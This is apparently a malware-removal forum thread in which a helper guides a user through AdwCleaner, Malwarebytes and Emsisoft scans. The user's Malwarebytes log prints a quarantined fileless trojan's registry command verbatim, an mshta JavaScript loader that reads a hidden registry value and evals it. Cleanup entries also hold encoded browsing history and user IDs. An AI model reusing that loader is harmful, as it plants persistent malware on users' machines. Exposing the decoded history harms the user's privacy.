[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_appsMetadata_lastUpdate" - "1377686941666"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_gottenAppsContextMenu_lastUpdate" - "1377460873653"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_installUsage_ToolbarInstallEarly_lastUpdate" - "1371076724679"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_installUsage_ToolbarInstall_lastUpdate" - "1371076726065"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_location_lastUpdate" - "1372617149554"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_login_10.14.65.43_lastUpdate" - "1372617150289"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_login_10.16.1.21_lastUpdate" - "1371134445706"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_login_10.16.4.519_lastUpdate" - "1375818275314"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_login_10.16.9.506_lastUpdate" - "1377460873714"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_login_10.19.2.505_lastUpdate" - "1377687059311"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_otherAppsContextMenu_lastUpdate" - "1377460873686"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_searchAPI_lastUpdate" - "1377687059058"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_serviceMap_lastUpdate" - "1377687059020"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_setupAPI_lastUpdate" - "1372617150002"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_toolbarContextMenu_lastUpdate" - "1377460873622"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_toolbarSettings_lastUpdate" - "1377686941551"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_translation_lastUpdate" - "1377687059211"
[-] Chrome preferences cleaned: "CT3279411.settingsINI" - true
[-] Chrome preferences cleaned: "CT3279411.shouldFirstTimeDialog" - "false"
[-] Chrome preferences cleaned: "CT3279411.showToolbarPermission" - "false"
[-] Chrome preferences cleaned: "CT3279411.startPage" - "true"
[-] Chrome preferences cleaned: "CT3279411.toolbarBornServerTime" - "13-6-2013"
[-] Chrome preferences cleaned: "CT3279411.toolbarCurrentServerTime" - "28-8-2013"
[-] Chrome preferences cleaned: "CT3279411.toolbarLoginClientTime" - "Wed Jun 12 2013 17:38:45 GMT-0500 (Central Standard Time)"
[-] Chrome preferences cleaned: "CT3279411.url_history0001.enc" - "aHR0cDovL3d3dy5rb2hscy5jb20vIzo6OmNsaWNraGFuZGxlcjo6OjEzNzY3NTM0NTMxMzEsLCxodHRwOi8vd3d3LmtvaGxzLmNvbS8jOjo6Y2xpY2toYW5kbGVyOjo6MTM3Njc1MzQ1MzEzNiwsLGphdmFzY3JpcHQ6bGF1bmNoQ29ycG9yYXRlKCdodHRwczovL2VwYXkua29obHMuY29tLycpOjo6Y2xpY2toYW5kbGVyOjo6MTM3Njc1MzQ1OTY4OSwsLGphdmFzY3JpcHQ6bGF1bmNoQ29ycG9yYXRlKCdodHRwczovL2VwYXkua29obHMuY29tLycpOjo6Y2xpY2toYW5kbGVyOjo6MTM3Njc1MzQ1OTY5MywsLHJlc291cmNlOi8vcGRmLmpzL3dlYi8jOjo6Y2xpY2toYW5kbGVyOjo6MTM3Njc1MzUwOTI4OCwsLGphdmFzY3JpcHQ6bGF1bmNoQ29ycG9yYXRlKCdodHRwczovL2VwYXkua29obHMuY29tLycpOjo6Y2xpY2toYW5kbGVyOjo6MTM3NzE5NDIwNjA3MCwsLHJlc291cmNlOi8vcGRmLmpzL3dlYi8jOjo6Y2xpY2toYW5kbGVyOjo6MTM3NzE5NDMxODIzNSwsLGh0dHA6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9bWN0YyZGT1JNPUhEUlNDMTo6OmNsaWNraGFuZGxlcjo6OjEzNzc0NzQyNTMxMjgsLCxodHRwOi8vd3d3Lm1pbm5lYXBvbGlzLmVkdS86OjpjbGlja2hhbmRsZXI6OjoxMzc3NDc0MjU2MzAyLCwsaHR0cHM6Ly93ZWJwcm9jLm1uc2N1LmVkdS9lc2Vzc2lvbi9hdXRoZW50aWNhdGlvbi5kbz9jYW1wdXNJZD0zMDUmcG9zdEF1dGhVcmw9aHR0cCUzQSUyRiUyRndlYnByb2MubW5zY3UuZWR1JTJGZXNlcnZpY2VzJTJGbG9naW4uaHRtbCUzQmpzZXNzaW9uaWQlM0RGMTFCMTNDNUMwMjVCQkUwQTRCRTM1NTlGMDY5QkE0NiUzRmNhbXB1c2lkJTNEMzA1Ojo6Y2xpY2toYW5kbGVyOjo6MTM3NzQ3NDI2MTQxNCwsLGphdmFzY3JpcHQ6dm9pZCgwKTs6OjpjbGlja2hhbmRsZXI6OjoxMzc3NDc0MjY1NDU3LCwsamF2YXNjcmlwdDp2b2lkKDApOzo6OmNsaWNraGFuZGxlcjo6OjEzNzc0NzQyNjU0NjEsLCxodHRwOi8vd3d3LnVzYS5jYW5vbi5jb20vY3VzYS9zdXBwb3J0L2NvbnN1bWVyL3ByaW50ZXJzX211bHRpZnVuY3Rpb24vcGl4bWFfaXBfc2VyaWVzL3BpeG1hX2lwNDIwMD9zZWxlY3RlZE5hbWU9U2VydmljZUFuZFN1cHBvcnQ6OjpjbGlja2hhbmRsZXI6OjoxMzc3NjMzMjEyOTQ3LCwnZpY2VBbmRTdXBwb3J0Ojo6Y2xpY2toYW5kbGVyOjo6MTM3NzYzMzIxMjk1MCwsLGh0dHA6Ly93d3cudXNhLmNhbm9uLmNvbS9jdXNhL3N1cHBvcnQvY29uc3VtZXIvcHJpbnRlcnNfbXVsdGlmdW5jdGlvbi9waXhtYV9pcF9zZXJpZXMvcGl4bWFfaXA0MjAwP3NlbGVjdGVkTmFtZT1TZXJ2aWNlQW5kU3VwcG9ydDo6OmNsaWNraGFuZGxlcjo6OjEzNzc2MzMyMTI5NTMsLCxodHRwOi8vd3d3Lm1pbm5lYXBvbGlzLmVkdS9DYW5jZWxsZWQtQ2xhc3Nlczo6OmNsaWNraGFuZGxlcjo6OjEzNzg3MjM2MzU2NTA="
[-] Chrome preferences cleaned: "CT3279411.versionFromInstaller" - "10.16.1.21"
[-] Chrome preferences cleaned: "CT3279411.wreck-experiments-design.enc" - "eyJuYW1lIjoibGlnaHQiLCJ2ZXJzaW9uIjo0fQ=="
[-] Chrome preferences cleaned: "CT3279411.wreck-experiments-feed.enc" - "eyJuYW1lIjoidHJ1ZmZsZXMiLCJ2ZXJzaW9uIjozfQ=="
[-] Chrome preferences cleaned: "CT3279411.wreck-experiments-hover_effect.enc" - "eyJuYW1lIjoiaGFsZiIsInZlcnNpb24iOjF9"
[-] Chrome preferences cleaned: "CT3279411.wreck-experiments-trigger.enc" - "eyJuYW1lIjoieDAuNSIsInZlcnNpb24iOjF9"
[-] Chrome preferences cleaned: "CT3279411.wreck-periodic-reports.enc" - "eyJwaW5nXzAiOlsxMzcxMTM5MzkzNjM1LDE0NDAwMDAwXX0="
[-] Chrome preferences cleaned: "CT3279411.wreck-user-id.enc" - "IjQwYjhhMTljLTNiMWYtNDIyMy1iZjZmLTUxMjNmMWNkMTJhMiI="
[-] Chrome preferences cleaned: "CT3279411_Firefox.csv" - "[{\"from\":\"Abs Layer\",\"action\":\"loading toolbar\",\"time\":1378856399415,\"isWithState\":\"\",\"timeFromStart\":0,\"timeFromPrev\":0}]"
[-] Chrome preferences cleaned: "CT3279412.FF19Solved" - "true"
[-] Chrome preferences cleaned: "CT3279412.UserID" - "UN41688387179466170"
[-] Chrome preferences cleaned: "CT3279412.browser.search.defaultthis.engineName" - "true"
[-] Chrome preferences cleaned: "CT3279412.fullUserID" - "UN41688387179466170.IN.20131020150747"
[-] Chrome preferences cleaned: "CT3279412.installDate" - "20/10/2013 15:08:04"
[-] Chrome preferences cleaned: "CT3279412.installSessionId" - "{8E06FB1E-C14E-4A0D-8B6D-CB8C29DBD2A9}"
[-] Chrome preferences cleaned: "CT3279412.installSp" - "TRUE"
[-] Chrome preferences cleaned: "CT3279412.installerVersion" - "1.8.0.14"
[-] Chrome preferences cleaned: "CT3279412.keyword" - "true"
[-] Chrome preferences cleaned: "CT3279412.originalSearchEngine" - "Amazon "
[-] Chrome preferences cleaned: "CT3279412.originalSearchEngineName" - "Amazon "
[-] Chrome preferences cleaned: "CT3279412.searchRevert" - "false"
[-] Chrome preferences cleaned: "CT3279412.searchUserMode" - "2"
[-] Chrome preferences cleaned: "CT3279412.toolbarInstallDate" - "20-10-2013 15:07:47"
[-] Chrome preferences cleaned: "CT3279412.versionFromInstaller" - "10.21.1.7"
[-] Chrome preferences cleaned: "CT3279412.xpeMode" - "0"
[-] Chrome preferences cleaned: "CT3289847.1000082.isPlayDisplay" - "true"
[-] Chrome preferences cleaned: "CT3289847.1000082.state" - "{\"state\":\"stopped\",\"text\":\"1.FM (Cou…\",\"description\":\"1.FM (Country)\",\"url\":\"hxxp://1.fm/wm/energycountry32k.asx\"}"
[-] Chrome preferences cleaned: "CT3289847.ENABALE_HISTORY" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3289847.ENABLE_RETURN_WEB_SEARCH_ON_THE_PAGE" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3289847.FF19Solved" - "true"
[-] Chrome preferences cleaned: "CT3289847.FirstTime" - "true"
[-] Chrome preferences cleaned: "CT3289847.FirstTimeFF3" - "true"
[-] Chrome preferences cleaned: "CT3289847.LAST_CLIENT_STATS_SUBMIT_2.enc" - "MTM2OTk2Mjc1Nw=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_LAST_SUBMIT_6.enc" - "MTM3MDI5MDI0OQ=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_SITE_IRRELEVANT.enc" - "Mjk="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_SITE_NEW.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_SITE_NOT_SUPPORTED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_SITE_SUPPORTED.enc" - "MTM="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_USE_HISTORY.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_USE_POP.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_USE_RELATED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_STATS_STATS_USE_TYPED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_THROTTLE_BASEadd_stats 0 LOCAL_COOKIE_STATS_STATS_SITE_IRRELEVANT.enc" - "MTM3MDI5NDkzNA=="
[-] Chrome preferences cleaned: "CT3289847.LOCAL_COOKIE_THROTTLE_BASEadd_stats 0 LOCAL_COOKIE_STATS_STATS_SITE_SUPPORTED.enc" - "MTM3MDI5NDc1OA=="
[-] Chrome preferences cleaned: "CT3289847.PG_ENABLE" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3289847.PG_ENABLE.enc" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3289847.SF_JUST_INSTALLED.enc" - "RkFMU0U="
[-] Chrome preferences cleaned: "CT3289847.SF_STATUS.enc" - "RU5BQkxFRA=="
[-] Chrome preferences cleaned: "CT3289847.SF_USER_ID.enc" - "Y2lkXzMwNTIwMTMyMDEyMjcyNzg3MTU="
[-] Chrome preferences cleaned: "CT3289847.UserID" - "UN68118730217746545"
[-] Chrome preferences cleaned: "CT3289847.acp_personal.appstate.enc" - "ZW5hYmxl"
[-] Chrome preferences cleaned: "CT3289847.addressBarTakeOverEnabledInHidden" - "true"
[-] Chrome preferences cleaned: "CT3289847.browser.search.defaultthis.engineName" - "true"
[-] Chrome preferences cleaned: "CT3289847.cb_experience_000.enc" - "MTE="
[-] Chrome preferences cleaned: "CT3289847.cb_firstuse0100.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3289847.cb_user_id_000.enc" - "Q0I3OTg3NTYzNzkyMjVfMTM2OTQxOTI0NDcwNF9GaXJlZm94"
[-] Chrome preferences cleaned: "CT3289847.cbfirsttime.enc" - "V2VkIE1heSAyMiAyMDEzIDEwOjEwOjUyIEdNVC0wNTAwIChDZW50cmFsIERheWxpZ2h0IFRpbWUp"
[-] Chrome preferences cleaned: "CT3289847.countryCode" - "US"
[-] Chrome preferences cleaned: "CT3289847.defaultSearch" - "true"
[-] Chrome preferences cleaned: "CT3289847.enableAlerts" - "true"
[-] Chrome preferences cleaned: "CT3289847.enableFix404ByUser" - "TRUE"
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Web data] [Search Provider] Deleted: aol.com
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default\Web data] [Search Provider] Deleted: ask.com
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default] [extension] Deleted: iolllphbfidpiigenecjjflaefapfnef
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default] [extension] Deleted: mocblcnaofikinigmceddfghppkkjbog
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default] [extension] Deleted: ndibdjnfmopecpmkdieinmbadjfpblof
[-] [C:\Users\Dads\AppData\Local\Google\Chrome\User Data\Default] [extension] Deleted: peglehonblabfemopkgmfcpofbchegcl
*************************
:: "Tracing" keys deleted
:: Winsock settings cleared
*************************
C:\AdwCleaner\AdwCleaner[C0].txt - [37563 Bytes] - [08/10/2016 11:24:37]
C:\AdwCleaner\AdwCleaner[S0].txt - [41645 Bytes] - [08/10/2016 11:20:25]
########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [37711 Bytes] ##########
Juliet
my goodness!, we got a ton of ugly stuff off of there. Are you seeing any improvements?
I think we should continue.
Whatever tools we use I want you to know we will later remove along with the corresponding quarantine folders.
~~~
Please download the Malwarebytes Anti-Malware setup file to your Desktop.
OR from this location Malwarebytes' Anti-Malware
Please download Emsisoft Emergency Kit and save it to your desktop.
Double click on the EmsisoftEmergencyKit file you downloaded to extract its contents and create a shortcut on the desktop.
I think we should continue.
Whatever tools we use I want you to know we will later remove along with the corresponding quarantine folders.
~~~
Please download the Malwarebytes Anti-Malware setup file to your Desktop.
OR from this location Malwarebytes' Anti-Malware
- Open mbam-setup.x.x.xxxx.exe (x represents the version #) and follow the prompts to install the programme.
- On the Dashboard click on Update Now
- Go to the Setting Tab
- Under Setting go to Detection and Protection
- Under PUP and PUM make sure both are set to show Treat Detections as Malware
- Go to Advanced setting and make sure Automatically Quarantine Detected Items is checked
- Then on the Dashboard click on Scan
- Make sure to select THREAT SCAN
- Then click on Scan
- Note: You may see the following message, "Could not load DDA driver". Click Yes, allow your PC to reboot and continue afterwards.
- If threats are detected, click Remove Selected. If you are prompted to reboot, click Yes.
- Upon completion of the scan (or after the reboot), click the History tab.
- Click Application Logs, followed by the first Scan Log.
- Click Export, followed by Copy to Clipboard. Paste the log in your next reply.
Please download Emsisoft Emergency Kit and save it to your desktop.
Double click on the EmsisoftEmergencyKit file you downloaded to extract its contents and create a shortcut on the desktop.
- Leave all settings as they are and click the Extract button at the bottom.
- A folder named EEK will be created in the root of the drive (usually c:\).
- After extraction please double-click on the new Start Emsisoft Emergency Kit icon on your desktop.
- The first time you launch it, Emsisoft Emergency Kit will recommend that you allow it to download updates.
- Please click Yes so that it downloads the latest database updates.
- When the update process is complete, a new button will appear in the lower-left corner that says Back. Click on this button to return to the Overview screen.
- Click on Scan to be taken to the scan options.
- If you are asked if you want the scanner to scan for Potentially Unwanted Programs, then click Yes.
- Click on the Malware Scan button to start the scan.
- When the scan is completed click the View report button in the lower-right corner, and the scan log will be opened in Notepad.
- Please save the log in Notepad on your desktop, and copy it to your next reply.
- When you close Emsisoft Emergency Kit, it will give you an option to sign up for a newsletter. This is optional, and is not necessary for the malware removal process.
es4245
Here are the log files you requested.
In general my computer seems to be moving much faster than before.
Malwarebytes Anti-Malware
www.malwarebytes.org
Scan Date: 10/8/2016
Scan Time: 7:07 PM
Logfile:
Administrator: Yes
Version: 2.2.1.1043
Malware Database: v2016.10.08.07
Rootkit Database: v2016.09.26.02
License: Free
Malware Protection: Disabled
Malicious Website Protection: Disabled
Self-protection: Disabled
OS: Windows 10
CPU: x86
File System: NTFS
User: Dads
Scan Type: Threat Scan
Result: Completed
Objects Scanned: 343900
Time Elapsed: 30 min, 19 sec
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled
Processes: 0
(No malicious items detected)
Modules: 0
(No malicious items detected)
Registry Keys: 2
PUP.Optional.CrossRider, HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\{A3C5348C-98C9-411E-97B5-17E11CECEDA2}, Quarantined, [c1060f87574320162bc36f2fdc27ae52],
Rootkit.Fileless.MTGen, HKU\S-1-5-21-4147716943-903763243-1518506203-1001_Classes\9F7C2D\SHELL\OPEN\COMMAND, Quarantined, [4186deb8b5e58aacf9c7f706eb18817f],
Registry Values: 3
PUP.Optional.CrossRider, HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\{A3C5348C-98C9-411E-97B5-17E11CECEDA2}|AppName, 7f032c79-7a15-492c-bb96-58da6410be7b-2.exe-buttonutil.exe, Quarantined, [c1060f87574320162bc36f2fdc27ae52]
Trojan.Fileless.MTGen, HKU\S-1-5-21-4147716943-903763243-1518506203-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|^ikgg, Quarantined, [54739bfbe1b95dd9645e01fed330d52b],
Rootkit.Fileless.MTGen, HKU\S-1-5-21-4147716943-903763243-1518506203-1001_Classes\9f7c2d\SHELL\OPEN\COMMAND, "C:\WINDOWS\system32\mshta.exe" "javascript:O7vTa="is2CIR0H";Q9C=new ActiveXObject("WScript.Shell");ko8PCwN7="okjT2";kTuG3=Q9C.RegRead("HKCU\\software\\iggevlrdi\\eofr");DBReuzA2="4";eval(kTuG3);Dptw8Jnb="FK0yLg9";", Quarantined, [4186deb8b5e58aacf9c7f706eb18817f]
Registry Data: 0
(No malicious items detected)
Folders: 3
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\toolbarImages, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279412, Quarantined, [eadd9bfb8a10c96daed78c39dc26728e],
Files: 111
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00004591.tmp, Quarantined, [9b2cecaa4357b383ccb7453c1de46e92],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00008150.tmp, Quarantined, [9235d1c53466cd69e99a552c38c9f50b],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00010842.tmp, Quarantined, [ba0d187e2575b87ea2e1dea3ce33956b],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00014435.tmp, Quarantined, [7a4d3a5c8d0dff374c37ed94c140f010],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00017773.tmp, Quarantined, [0eb9d2c4554592a49ae9a6dbbf42c43c],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00019957.tmp, Quarantined, [b017890d3268d3635a292160e41d0cf4],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00020586.tmp, Quarantined, [f3d411854159b482ff84afd29b66ee12],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00022034.tmp, Quarantined, [8443fd99a0fa0234b3d0d2af7a87748c],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00022949.tmp, Quarantined, [5b6c62341d7d0432790ad1b02ed3d62a],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00027369.tmp, Quarantined, [448386106c2ed95d582ba9d8e021fd03],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00028806.tmp, Quarantined, [c601692d76246ec88201f889fc05ba46],
Trojan.Agent.ENM, C:\Program Files\Mozilla Firefox\00032154.tmp, Quarantined, [13b45c3adbbfee487211d5ac03fe8080],
Adware.Finix, C:\Users\Dads\Downloads\Comcast_Desktop_Software_1401.exe, Quarantined, [19aed3c333670c2a19bd96659b6644bc],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.1000082.currentList, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.1000082.localStations, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.1000082.nowPlaying, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.1000082.publisherStations, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.130028909967386036.search.history, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_Configuration, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.skin, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.UserID, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_location, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_setupAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.130028909967386036.search.selectedEngineId, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.searchProtectorData, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.14.65.43.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
